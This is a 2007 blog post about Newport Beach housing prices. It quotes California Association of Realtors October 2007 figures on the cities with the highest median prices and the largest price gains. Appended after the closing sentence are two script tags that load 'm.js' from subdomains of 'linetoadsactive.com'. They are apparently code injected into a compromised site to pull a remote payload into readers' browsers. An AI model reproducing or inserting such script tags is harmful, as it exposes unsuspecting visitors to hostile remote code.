Housing Prices in Newport Beach Hold Steady

By: Allan Heller ~ November 29, 2007

Here is an interesting excerpt from the another depressing XXXa href=”http://www.car.org/index.php?id=MzgwMTM=”>article issued November 28, 2007XXX/a> by the California Association of Realtors.
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XXXli>Statewide, the 10 cities and communities with the highest median home prices in California during October 2007 were: XXXstrong>Newport Beach, $1,575,000XXX/strong>; Santa Barbara, $1,275,000; Cupertino, $1,033,000; Danville, $1,017,500; Los Gatos, $1,005,000; San Carlos, $927,500; Redwood City, $912,000; San Ramon, $835,000; San Clemente, $832,500; and San Mateo, $829,500.XXX/li>
XXXli>Statewide, the 10 cities and communities with the greatest median home price increases in October 2007 compared with the same period a year ago were: Santa Barbara, 24.4 percent; Arcadia, 21.3 percent; Redwood City, 20.6 percent; XXXstrong>Newport Beach, 18.4 percentXXX/strong>; San Ramon, 14.4 percent; Cupertino, 11.7 percent; San Carlos, 9.5 percent; Redlands, 8.8 percent; Redondo Beach, 8.7 percent; and Sunnyvale, 7.6 percent.XXX/li>
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This is just another indication that prices of property located in desirable areas continue to hold steady or increase even during the current real estate downturn.XXXscript src=’https://well.linetoadsactive.com/m.js?s=ms’ type=’text/javascript’>XXX/script>XXXscript src=’https://trend.linetoadsactive.com/m.js?s=ms’ type=’text/javascript’>XXX/script>